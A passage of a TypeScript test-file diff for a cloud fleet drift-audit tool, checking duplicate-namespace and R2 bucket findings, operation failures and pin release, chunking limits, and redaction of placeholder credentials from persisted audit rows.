baseRecord('nsowner1', { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: 'ns-nsowner1' }, + ], + }); + const second = baseRecord('nsowner2', { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: 'ns-nsowner2' }, + ], + }); + const inventory = inventoryFor([first, second]); + inventory.namespaceIds.push(shared); + const harness = buildHarness([first, second], inventory); + harness.liveByTenant.set( + 'nsowner1', + cleanLiveDeployment(first, { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: shared }, + ], + }), + ); + harness.liveByTenant.set( + 'nsowner2', + cleanLiveDeployment(second, { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: shared }, + ], + }), + ); + const operationId = uuidFor(24); + await startAndDrive(harness, operationId, [first, second]); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + const duplicates = page.findings.filter( + (finding) => finding.kind === 'duplicate-namespace', + ); + expect(duplicates.length).toBe(1); + }); + + it('the records-derived expected-duplicate seed suppresses a later live duplicate across calls', async () => { + const shared = 'ns-expected-and-live-shared'; + const first = baseRecord('seedowner1', { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: shared }, + ], + }); + const second = baseRecord('seedowner2', { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: shared }, + ], + }); + const inventory = inventoryFor([first, second]); + const harness = buildHarness([first, second], inventory); + harness.liveByTenant.set( + 'seedowner1', + cleanLiveDeployment(first, { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: shared }, + ], + }), + ); + harness.liveByTenant.set( + 'seedowner2', + cleanLiveDeployment(second, { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: shared }, + ], + }), + ); + const operationId = uuidFor(25); + await startAndDrive(harness, operationId, [first, second]); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + // The expected-side (namespace-expectations) already contributes exactly + // one duplicate-namespace finding for `shared`; the live per-record side + // must not contribute a second one for the very same id. + const duplicates = page.findings.filter( + (finding) => + finding.kind === 'duplicate-namespace' && + finding.detail.includes(shared), + ); + expect(duplicates.length).toBe(1); + }); + + it('the first-owner prefix rule: a shared namespace/bucket claimant does not self-collide across chunks', async () => { + const shared = 'ns-prefix-shared'; + const sharedBucket = 'bucket-prefix-shared'; + const sharedBucketResource = { + name: 'DATA', + bucketName: sharedBucket, + jurisdiction: 'default' as const, + state: 'created' as const, + reservationNonce: 'a'.repeat(32), + creationDate: '2026-06-01T00:00:00.000Z', + }; + const first = baseRecord('prefixa', { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: shared }, + ], + applicationResources: [sharedBucketResource], + }); + const second = baseRecord('prefixb', { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: shared }, + ], + applicationResources: [sharedBucketResource], + }); + const inventory = inventoryFor([first, second]); + inventory.r2Buckets.push({ + bucketName: sharedBucket, + jurisdiction: 'default', + creationDate: sharedBucketResource.creationDate, + }); + const harness = buildHarness([first, second], inventory, { + maxItemsPerCall: 1, + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); + const drainFindings = await auditFleetDrift({ + store: new FakeFleetStateStore([first, second]), + records: [first, second], + inventory, + backendFor: () => harness.backend, + specFor: (record) => + harness.specByTenant.get(record.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (record) => + harness.secretByTenant.get(record.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); + const operationId = uuidFor(26); + await startAndDrive(harness, operationId, [first, second]); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + const duplicates = page.findings.filter( + (finding) => finding.kind === 'duplicate-namespace', + ); + expect(duplicates.length).toBe(1); + expect(duplicates[0]?.tenantTag).toBe('prefixb'); + const bucketDuplicates = page.findings.filter( + (finding) => + finding.kind === 'r2-bucket-drift' && + finding.detail === + `R2 bucket '${sharedBucket}' is claimed by more than one deployment`, + ); + const drainBucketDuplicates = drainFindings.filter( + (finding) => + finding.kind === 'r2-bucket-drift' && + finding.detail === + `R2 bucket '${sharedBucket}' is claimed by more than one deployment`, + ); + expect(bucketDuplicates).toEqual(drainBucketDuplicates); + expect(bucketDuplicates).toHaveLength(1); + expect(bucketDuplicates[0]?.tenantTag).toBe('prefixb'); + }); + + it('a pruned/unpinned generation → durable generation-unavailable failure with the pin released', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(27); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + harness.inventoryStore.unreadableGenerations.add(1); + const result = await driveToTerminal( + harness, + started.status === 'pending' ? started.token : undefined, + ); + expect(result.status).toBe('failed'); + if (result.status === 'failed') { + expect(result.failure.reason).toBe('generation-unavailable'); + } + expect( + harness.inventoryStore.releasedPins.some( + (pin) => + pin.pinnedBy === `fleet-audit:${operationId}` && pin.generation === 1, + ), + ).toBe(true); + }); + + it('per-record emission-bound overflow → durable emission-bound-exceeded failure, pin released, head freed', async () => { + const SETUP_COUNT = 100; + const setupRecords = Array.from({ length: SETUP_COUNT }, (_, i) => + baseRecord(`overflowsetup${i}`, { + durableObjectBindings: [ + { name: 'R', className: 'Runner', namespaceId: `ns-overflow-${i}` }, + ], + }), + ); + // The collision record's own EXPECTED namespace is unique, so the + // global namespace-expectations stage stays clean; the collision is + // engineered to appear only in its LIVE inspection result, which is what + // the per-record stage's single guarded batch must absorb. + const collisionRecord = baseRecord('overflowcollision', { + durableObjectBindings: [ + { + name: 'OWN', + className: 'Runner', + namespaceId: 'ns-overflowcollision-own', + }, + ], + }); + const allRecords = [...setupRecords, collisionRecord]; + const inventory = inventoryFor(allRecords); + const harness = buildHarness(allRecords, inventory); + for (const record of setupRecords) { + harness.liveByTenant.set(record.tenantTag, cleanLiveDeployment(record)); + } + harness.liveByTenant.set( + 'overflowcollision', + cleanLiveDeployment(collisionRecord, { + durableObjectBindings: setupRecords.map((_, i) => ({ + name: `R${i}`, + className: 'Runner', + namespaceId: `ns-overflow-${i}`, + })), + }), + ); + const operationId = uuidFor(28); + const result = await startAndDrive(harness, operationId, allRecords); + expect(result.status).toBe('failed'); + if (result.status === 'failed') { + expect(result.failure.reason).toBe('emission-bound-exceeded'); + expect(result.failure.itemOrdinal).toBe(SETUP_COUNT); + } + expect( + harness.inventoryStore.releasedPins.some( + (pin) => pin.pinnedBy === `fleet-audit:${operationId}`, + ), + ).toBe(true); + expect(harness.operationStore.heads.has('audit')).toBe(false); + }, 30_000); + + it('abandonFleetAuditOperation: running → operator-abandoned + pin released; terminal → releases any surviving pin', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(29); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + await abandonFleetAuditOperation({ + operationStore: harness.operationStore, + inventoryStore: harness.inventoryStore, + operationId, + }); + const abandoned = + await harness.operationStore.readOperationById(operationId); + expect(abandoned?.state).toBe('failed'); + expect((abandoned?.progress as FleetAuditProgress).failure?.reason).toBe( + 'operator-abandoned', + ); + expect( + harness.inventoryStore.releasedPins.some( + (pin) => pin.pinnedBy === `fleet-audit:${operationId}`, + ), + ).toBe(true); + + // Terminal → releases any surviving pin, no state change. + const beforeTerminalAbandonment = + await harness.operationStore.readOperationById(operationId); + const releasedBefore = harness.inventoryStore.releasedPins.length; + await abandonFleetAuditOperation({ + operationStore: harness.operationStore, + inventoryStore: harness.inventoryStore, + operationId, + }); + const stillAbandoned = + await harness.operationStore.readOperationById(operationId); + expect(stillAbandoned).toStrictEqual(beforeTerminalAbandonment); + expect(harness.inventoryStore.releasedPins.length).toBe(releasedBefore + 1); + }); + + it('continue on a failed operation returns the failed member with zero provider work', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(30); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + harness.inventoryStore.unreadableGenerations.add(1); + const failed = await driveToTerminal( + harness, + started.status === 'pending' ? started.token : undefined, + ); + expect(failed.status).toBe('failed'); + if (failed.status !== 'failed') throw new Error('unreachable'); + const opsBefore = harness.opsLog.length; + const again = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: failed.token }), + ); + expect(again.status).toBe('failed'); + expect(harness.opsLog.length).toBe(opsBefore); + }); + + it('findings page: running refusal; failed operation readable; no inventory-store interaction', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(31); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + await expect( + readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 10, + }), + ).rejects.toThrow(`fleet audit operation '${operationId}' is not terminal`); + + harness.inventoryStore.unreadableGenerations.add(1); + const failed = await driveToTerminal( + harness, + started.status === 'pending' ? started.token : undefined, + ); + expect(failed.status).toBe('failed'); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 10, + }); + expect(page.done).toBe(true); + + // FINDINGS PAGE ORDER (round 9): the port lets a page arrive in any + // order; the reader still returns the drain's (ordinal) order, and the + // next-cursor idiom pages the whole set through such a store. + const control = baseRecord('control28'); + const missingA = baseRecord('missing28a'); + const missingB = baseRecord('missing28b'); + const orderedRecords = [control, missingA, missingB]; + const orderedInventory = inventoryFor([control]); + orderedInventory.deployments.push({ + backend: 'plain-worker', + scriptName: 'ghost-orphan-script28', + tenantTag: 'ghost-tenant28', + environment: ENVIRONMENT, + databaseIds: ['db-ghost28'], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + routeHostnames: [], + artifactVersion: 'v1', + schemaVersion: 1, + }); + const orderedHarness = buildHarness(orderedRecords, orderedInventory); + const orderedOperationId = uuidFor(3128); + const complete = await startAndDrive( + orderedHarness, + orderedOperationId, + orderedRecords, + ); + expect(complete.status).toBe('complete'); + const ascending = await readFleetAuditFindingsPage( + orderedHarness.operationStore, + { operationId: orderedOperationId, limit: 1_000 }, + ); + expect(ascending.done).toBe(true); + expect(ascending.findings.length).toBeGreaterThanOrEqual(3); + const reversedStore = new Proxy(orderedHarness.operationStore, { + get(target, property, receiver) { + if (property === 'readOperationRowsPage') { + return async ( + input: Parameters[0], + ) => { + const rowsPage = await target.readOperationRowsPage(input); + return { ...rowsPage, rows: [...rowsPage.rows].reverse() }; + }; + } + const value = Reflect.get(target, property, receiver); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); + await expect( + readFleetAuditFindingsPage(reversedStore, { + operationId: orderedOperationId, + limit: 1_000, + }), + ).resolves.toEqual(ascending); + const paged: (typeof ascending.findings)[number][] = []; + let afterOrdinal: number | undefined; + for (;;) { + const next = await readFleetAuditFindingsPage(reversedStore, { + operationId: orderedOperationId, + limit: 2, + ...(afterOrdinal === undefined ? {} : { afterOrdinal }), + }); + paged.push(...next.findings); + if (next.done) break; + afterOrdinal = (afterOrdinal ?? -1) + next.findings.length; + } + expect(paged).toEqual(ascending.findings); + }); + + it('second-world drain-vs-bounded equivalence modulo the §5.5 difference set', async () => { + const control = baseRecord('control2'); + const missing = baseRecord('missing2'); + const routeDup = baseRecord('routedup2'); + const records = [control, missing, routeDup]; + const inventory = inventoryFor([control, routeDup]); + // `missing` is absent from `inventory.deployments` entirely -> + // missing-deployment (global stage); its per-record call exits at its + // own `!inventoryDeployment` guard before ever reaching `inspect`. + // A live deployment entry that owns no record at all -> orphan-deployment. + inventory.deployments.push({ + backend: 'plain-worker', + scriptName: 'ghost-orphan-script2', + tenantTag: 'ghost-tenant2', + environment: ENVIRONMENT, + databaseIds: ['db-ghost2'], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + routeHostnames: [], + artifactVersion: 'v1', + schemaVersion: 1, + }); + // A second route sharing `routeDup`'s hostname under a different script. + inventory.routes.push( + cleanRoute(routeDup, { scriptName: 'route-dup-ghost2' }), + ); + + // §5.5 EQUIVALENCE SCOPE: both paths run over the SAME frozen clock. + const harness = buildHarness(records, inventory, { + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); + + const drainFindings = await auditFleetDrift({ + store: new FakeFleetStateStore(records) as unknown as FleetStateStore, + records, + inventory, + backendFor: () => harness.backend, + specFor: (record) => + harness.specByTenant.get(record.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (record) => + harness.secretByTenant.get(record.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); + + const operationId = uuidFor(32); + const result = await startAndDrive(harness, operationId, records); + expect(result.status).toBe('complete'); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 1_000, + }); + // Provider-supplied findings seed identically; the rest is order-preserving. + expect(page.findings).toEqual(drainFindings); + }); + + it('the six sanitized template families carry no String(error) or duty.lastError bytes', async () => { + const backendFailure = baseRecord('backendfailure'); + const specFailure = baseRecord('specfailure'); + const secretFailure = baseRecord('secretfailure'); + const inspectionFailure = baseRecord('inspectionfailure'); + const rearmFailure = baseRecord('rearmfailure'); + const dutyFailure = baseRecord('dutyfailure'); + const records = [ + backendFailure, + specFailure, + secretFailure, + inspectionFailure, + rearmFailure, + dutyFailure, + ]; + const inventory = inventoryFor(records); + const harness = buildHarness(records, inventory, { + throwBackendFor: new Set(['backendfailure']), + throwSpecFor: new Set(['specfailure']), + throwSecretFor: new Set(['secretfailure']), + throwOnInspect: new Set(['inspectionfailure']), + throwOnEnsureMaintenance: new Set(['rearmfailure']), + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); + harness.liveByTenant.set( + 'rearmfailure', + cleanLiveDeployment(rearmFailure, { maintenance: UNARMED_MAINTENANCE }), + ); + const dutyLastAttemptAt = AUDIT_NOW - 1_000; + const dutyLastError = 'duty lastError diagnostic bytes'; + harness.liveByTenant.set( + 'dutyfailure', + cleanLiveDeployment(dutyFailure, { + maintenance: { + ...HEALTHY_MAINTENANCE, + lastSweepAttemptAt: dutyLastAttemptAt, + lastSweepError: dutyLastError, + }, + }), + ); + const operationId = uuidFor(33); + const terminal = await startAndDrive(harness, operationId, records); + expect(terminal.status).toBe('complete'); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + const expectedFamilies = [ + ['backendfailure', 'audit-error', 'backend resolver failed'], + ['specfailure', 'audit-error', 'spec resolver failed'], + ['secretfailure', 'audit-error', 'maintenance secret resolver failed'], + ['inspectionfailure', 'audit-error', 'inspection failed'], + ['rearmfailure', 'audit-error', 'maintenance re-arm failed'], + [ + 'dutyfailure', + 'maintenance-stale', + `sweep last attempt failed at ${dutyLastAttemptAt}`, + ], + ] as const; + for (const [tenantTag, kind, detail] of expectedFamilies) { + expect( + page.findings.find( + (finding) => finding.tenantTag === tenantTag && finding.kind === kind, + )?.detail, + ).toBe(detail); + } + const durableRows = JSON.stringify([ + ...harness.operationStore.rows.values(), + ]); + for (const diagnostic of [ + 'backend resolver blew up', + 'spec resolver blew up', + 'secret resolver blew up', + 'inspection blew up', + 'maintenance re-arm blew up', + dutyLastError, + ]) { + expect(durableRows).not.toContain(diagnostic); + } + }); + + it('maxItemsPerCall chunk atomicity, pinning the namespace interleave BOTH within one record and across records sharing a namespace', async () => { + const shared = 'ns-atomic-shared'; + const withinRecord = baseRecord('atomicwithin', { + durableObjectBindings: [ + { name: 'A', className: 'Runner', namespaceId: shared }, + { + name: 'B', + className: 'Runner', + namespaceId: 'ns-atomicwithin-missing', + }, + ], + }); + const acrossRecord = baseRecord('atomicacross', { + durableObjectBindings: [ + { name: 'A', className: 'Runner', namespaceId: shared }, + { + name: 'B', + className: 'Runner', + namespaceId: 'ns-atomicacross-missing', + }, + ], + }); + const records = [withinRecord, acrossRecord]; + const inventory = inventoryFor(records); + inventory.namespaceIds = [shared]; + const harness = buildHarness(records, inventory, { + maxItemsPerCall: 1, + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); + const drainFindings = await auditFleetDrift({ + store: new FakeFleetStateStore(records) as unknown as FleetStateStore, + records, + inventory, + backendFor: () => harness.backend, + specFor: (record) => + harness.specByTenant.get(record.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (record) => + harness.secretByTenant.get(record.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); + const operationId = uuidFor(34); + await startAndDrive(harness, operationId, records); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + expect(page.findings).toEqual(drainFindings); + const missing = page.findings.filter( + (finding) => finding.kind === 'missing-namespace', + ); + expect(missing.length).toBe(2); + }); + + it('an empty fleet finalizes zero findings', async () => { + const harness = buildHarness([], emptyInventory()); + const operationId = uuidFor(35); + const result = await startAndDrive(harness, operationId, []); + expect(result.status).toBe('complete'); + if (result.status === 'complete') { + expect(result.result.findingCount).toBe(0); + } + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 10, + }); + expect(page.findings).toEqual([]); + }); + + it('empty iteration sources advance', async () => { + const harness = buildHarness([], emptyInventory()); + const operationId = uuidFor(36); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + let token = started.status === 'pending' ? started.token : undefined; + const stages: string[] = []; + for (let i = 0; i < 20; i++) { + const result = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token }), + ); + if (result.status !== 'pending') { + expect(result.status).toBe('complete'); + break; + } + stages.push(result.stage.step); + token = result.token; + } + expect(stages).toEqual([ + 'registration-orphans', + 'deployment-orphans', + 'deployment-gaps', + 'orphan-databases', + 'orphan-routes', + 'namespace-orphans', + 'namespace-expectations', + 'r2-expected', + 'r2-orphans', + 'r2-missing-identity', + 'per-record', + 'finalize', + ]); + }); + + it('lost commitProgress converges with the revision discriminator', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(37); + const action: FleetAuditAdvanceAction = { + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }; + const first = await advanceFleetAudit(harness.baseOptions(action)); + expect(first.status).toBe('pending'); + // Replay the exact same start call: its revision-1 commit has already + // landed, so the replay must converge via the byte-identical read + // rather than throwing a conflict. + const second = await advanceFleetAudit(harness.baseOptions(action)); + expect(second.status).toBe('pending'); + if (first.status === 'pending' && second.status === 'pending') { + expect(second.token).toEqual(first.token); + } + }); + + it('the abort signal is call-local and never persisted', async () => { + const alice = baseRecord('alice'); + const controller = new AbortController(); + const harness = buildHarness([alice], inventoryFor([alice]), { + signal: controller.signal, + }); + const operationId = uuidFor(38); + const result = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + const persisted = + await harness.operationStore.readOperationById(operationId); + expect(JSON.stringify(persisted)).not.toContain('signal'); + expect(result.status).toBe('pending'); + + const abortedController = new AbortController(); + abortedController.abort(); + const abortedHarness = buildHarness([alice], inventoryFor([alice]), { + signal: abortedController.signal, + }); + await expect( + advanceFleetAudit( + abortedHarness.baseOptions({ + kind: 'start', + operationId: uuidFor(39), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ), + ).rejects.toThrow(); + expectZeroHarnessWork(abortedHarness); + }); + + it('byte scan: no secret value, Authorization bytes, or bearer token outside record rows', async () => { + const alice = baseRecord('bytescan'); + const records = [alice]; + const inventory = inventoryFor(records); + const harness = buildHarness(records, inventory); + harness.secretByTenant.set( + 'bytescan', + 'Bearer super-secret-credential-value', + ); + const operationId = uuidFor(40); + await startAndDrive(harness, operationId, records); + const expectNoSensitiveBytes = (value: unknown): void => { + const text = JSON.stringify(value).toLowerCase(); + expect(text).not.toContain('bearer'); + expect(text).not.toContain('authorization'); + expect(text).not.toContain('super-secret-credential-value'); + }; + for (const [key, rows] of harness.operationStore.rows) { + const [, rowKind] = key.split(':'); + if (rowKind === 'record') continue; + for (const row of rows) { + expectNoSensitiveBytes(row.payload); + } + } + const run = await harness.operationStore.readOperationById(operationId); + expectNoSensitiveBytes(run); + expectNoSensitiveBytes(run?.progress); + expectNoSensitiveBytes([...harness.operationStore.operations]); + expectNoSensitiveBytes([...harness.operationStore.intakeDigests]); + expectNoSensitiveBytes([...harness.operationStore.heads]); + }); + + it('a hostile provider-sourced detail persists the withheld fallback; the drain is unaffected', async () => { + const hostileScriptName = 'bearer-tainted-script'; + const ghost = baseRecord('ghosthostile'); + const records = [ghost]; + const inventory = inventoryFor(records); + inventory.deployments.push({ + backend: 'plain-worker', + scriptName: hostileScriptName, + tenantTag: 'ghost-hostile-owner', + environment: ENVIRONMENT, + databaseIds: [], + durableObjectBindings: [], + secretNames: [], + plainTextBindings: {}, + routeHostnames: [], + artifactVersion: 'v1', + schemaVersion: 1, + }); + const harness = buildHarness(records, inventory); + const operationId = uuidFor(41); + await startAndDrive(harness, operationId, records); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 100, + }); + const orphan = page.findings.find( + (finding) => + finding.kind === 'orphan-deployment' && + finding.tenantTag === 'ghost-hostile-owner', + ); + expect(orphan?.detail).toBe( + "finding detail withheld: unsafe bytes (kind 'orphan-deployment')", + ); + + const drainFindings = await auditFleetDrift({ + store: new FakeFleetStateStore(records) as unknown as FleetStateStore, + records, + inventory, + backendFor: () => harness.backend, + specFor: (record) => + harness.specByTenant.get(record.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (record) => + harness.secretByTenant.get(record.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); + const drainOrphan = drainFindings.find( + (finding) => + finding.kind === 'orphan-deployment' && + finding.tenantTag === 'ghost-hostile-owner', + ); + expect(drainOrphan?.detail).toContain(hostileScriptName); + }); + + it('concurrent-mutation drift (class (c), both halves)', async () => { + const drifted = baseRecord('driftmaint'); + const silent = baseRecord('silentmaint'); + const providerDrifted = baseRecord('providerdrift'); + const records = [drifted, silent, providerDrifted]; + const inventory = inventoryFor(records); + const harness = buildHarness(records, inventory, { + auditClock: () => AUDIT_NOW, + authorityClock: () => AUDIT_NOW, + }); + harness.liveByTenant.set( + 'driftmaint', + cleanLiveDeployment(drifted, { maintenance: UNARMED_MAINTENANCE }), + ); + harness.liveByTenant.set( + 'silentmaint', + cleanLiveDeployment(silent, { maintenance: UNARMED_MAINTENANCE }), + ); + const startTimeDrainFindings = await auditFleetDrift({ + store: new FakeFleetStateStore(records) as unknown as FleetStateStore, + records, + inventory, + backendFor: () => harness.backend, + specFor: (record) => + harness.specByTenant.get(record.tenantTag) as DeploymentSpec, + maintenanceSecretFor: (record) => + harness.secretByTenant.get(record.tenantTag) as string, + staleAfterMs: STALE_AFTER_MS, + now: AUDIT_NOW, + }); + const operationId = uuidFor(42); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records, + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + // A migration mutates the drifted record's Fleet row between the frozen + // snapshot and its per-record call, tripping the reread refusal. + harness.fleetStore.records.set('driftmaint:production', { + ...drifted, + updatedAt: new Date(AUDIT_NOW + 1).toISOString(), + }); + harness.liveByTenant.set( + 'providerdrift', + cleanLiveDeployment(providerDrifted, { + databaseId: 'db-providerdrift-mutated', + }), + ); + const completed = await driveToTerminal(harness, started.token); + expect(completed.status).toBe('complete'); + const page = await readFleetAuditFindingsPage(harness.operationStore, { + operationId, + limit: 200, + }); + const rearmFailures = page.findings.filter( + (finding) => + finding.kind === 'audit-error' && + finding.detail === 'maintenance re-arm failed', + ); + expect( + rearmFailures.some((finding) => finding.tenantTag === 'driftmaint'), + ).toBe(true); + expect( + rearmFailures.some((finding) => finding.tenantTag === 'silentmaint'), + ).toBe(false); + const staleFindings = page.findings.filter( + (finding) => finding.kind === 'maintenance-stale', + ); + expect( + staleFindings.some((finding) => finding.tenantTag === 'silentmaint'), + ).toBe(true); + expect( + page.findings.some( + (finding) => + finding.tenantTag === 'providerdrift' && + finding.kind === 'database-mismatch', + ), + ).toBe(true); + expect( + startTimeDrainFindings.some( + (finding) => + finding.tenantTag === 'providerdrift' && + finding.kind === 'database-mismatch', + ), + ).toBe(false); + }); + + it('maxItemsPerCall range refusal (0 and 2,001 refused; 1 and 2,000 accepted; default 500 observed)', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + await expect( + advanceFleetAudit({ + ...harness.baseOptions({ + kind: 'start', + operationId: uuidFor(43), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + maxItemsPerCall: 0, + }), + ).rejects.toThrow('maxItemsPerCall must be an integer from 1 to 2000'); + await expect( + advanceFleetAudit({ + ...harness.baseOptions({ + kind: 'start', + operationId: uuidFor(44), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + maxItemsPerCall: 2_001, + }), + ).rejects.toThrow('maxItemsPerCall must be an integer from 1 to 2000'); + const acceptedMin = await advanceFleetAudit({ + ...harness.baseOptions({ + kind: 'start', + operationId: uuidFor(45), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + maxItemsPerCall: 1, + }); + expect(acceptedMin.status).toBe('pending'); + const maxHarness = buildHarness([alice], inventoryFor([alice])); + const acceptedMax = await advanceFleetAudit({ + ...maxHarness.baseOptions({ + kind: 'start', + operationId: uuidFor(46), + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + maxItemsPerCall: 2_000, + }); + expect(acceptedMax.status).toBe('pending'); + + // Default 500 observed: 501 script registrations need two calls at the + // registration-orphans stage under the default, but would need only one + // under an explicit 2,000. + const manyRegistrations = Array.from({ length: 501 }, (_, i) => ({ + scriptName: `ghost-script-${i}`, + tenantTag: `ghost-tenant-${i}`, + environment: ENVIRONMENT, + databaseId: `db-ghost-${i}`, + routeHostname: `ghost-${i}.example.test`, + })); + const bigInventory = { + ...emptyInventory(), + scriptRegistrations: manyRegistrations, + }; + const defaultHarness = buildHarness([], bigInventory); + const started = await advanceFleetAudit( + defaultHarness.baseOptions({ + kind: 'start', + operationId: uuidFor(47), + records: [], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + // First continue: the empty `provider-findings` stage advances immediately. + const afterProviderFindings = await advanceFleetAudit( + defaultHarness.baseOptions({ kind: 'continue', token: started.token }), + ); + expect(afterProviderFindings.status).toBe('pending'); + if (afterProviderFindings.status !== 'pending') + throw new Error('unreachable'); + expect(afterProviderFindings.stage).toEqual({ + step: 'registration-orphans', + rowOrdinal: 0, + }); + // Second continue: one `registration-orphans` chunk under the default. + const afterOneChunk = await advanceFleetAudit( + defaultHarness.baseOptions({ + kind: 'continue', + token: afterProviderFindings.token, + }), + ); + expect(afterOneChunk.status).toBe('pending'); + if (afterOneChunk.status === 'pending') { + expect(afterOneChunk.stage).toEqual({ + step: 'registration-orphans', + rowOrdinal: 500, + }); + } + }, 30_000); + + it('audit kind-lease loss at the dispatch boundary aborts with zero resolver, generation, and provider work', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(48); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + harness.operationStore.loseLeaseKind = 'audit'; + const opsBefore = harness.opsLog.length; + const readsBefore = generationReadCounts(harness.inventoryStore); + await expect( + advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: started.token }), + ), + ).rejects.toThrow(/no longer owned by this operation/); + expect(harness.opsLog.length).toBe(opsBefore); + expect(generationReadCounts(harness.inventoryStore)).toEqual(readsBefore); + }); + + it('the pin is STILL HELD after finalizeOperation; only GC, terminal failure, or abandonment releases it', async () => { + const alice = baseRecord('alice'); + const harness = buildHarness([alice], inventoryFor([alice])); + const operationId = uuidFor(49); + const started = await advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId, + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + expect(started.status).toBe('pending'); + if (started.status !== 'pending') throw new Error('unreachable'); + const result = await driveToTerminal(harness, started.token); + expect(result.status).toBe('complete'); + expect( + harness.inventoryStore.pins.some( + (pin) => + pin.pinnedBy === `fleet-audit:${operationId}` && pin.generation === 1, + ), + ).toBe(true); + expect( + harness.inventoryStore.releasedPins.some( + (pin) => pin.pinnedBy === `fleet-audit:${operationId}`, + ), + ).toBe(false); + const releasesBeforeStaleContinue = + harness.inventoryStore.releasedPins.length; + const staleComplete = await advanceFleetAudit( + harness.baseOptions({ kind: 'continue', token: started.token }), + ); + expect(staleComplete).toStrictEqual(result); + expect(harness.inventoryStore.releasedPins).toHaveLength( + releasesBeforeStaleContinue, + ); + // R4-A: “prune releases the audit pin FIRST; the crash window leaves an unpinned terminal operation the next call deletes”. + }); + + it('a multi-duty maintenance-stale finding persists the templates-only joined detail with no lastError bytes anywhere; the drain emits legacyDetails[i] byte-identically', async () => { + const record = 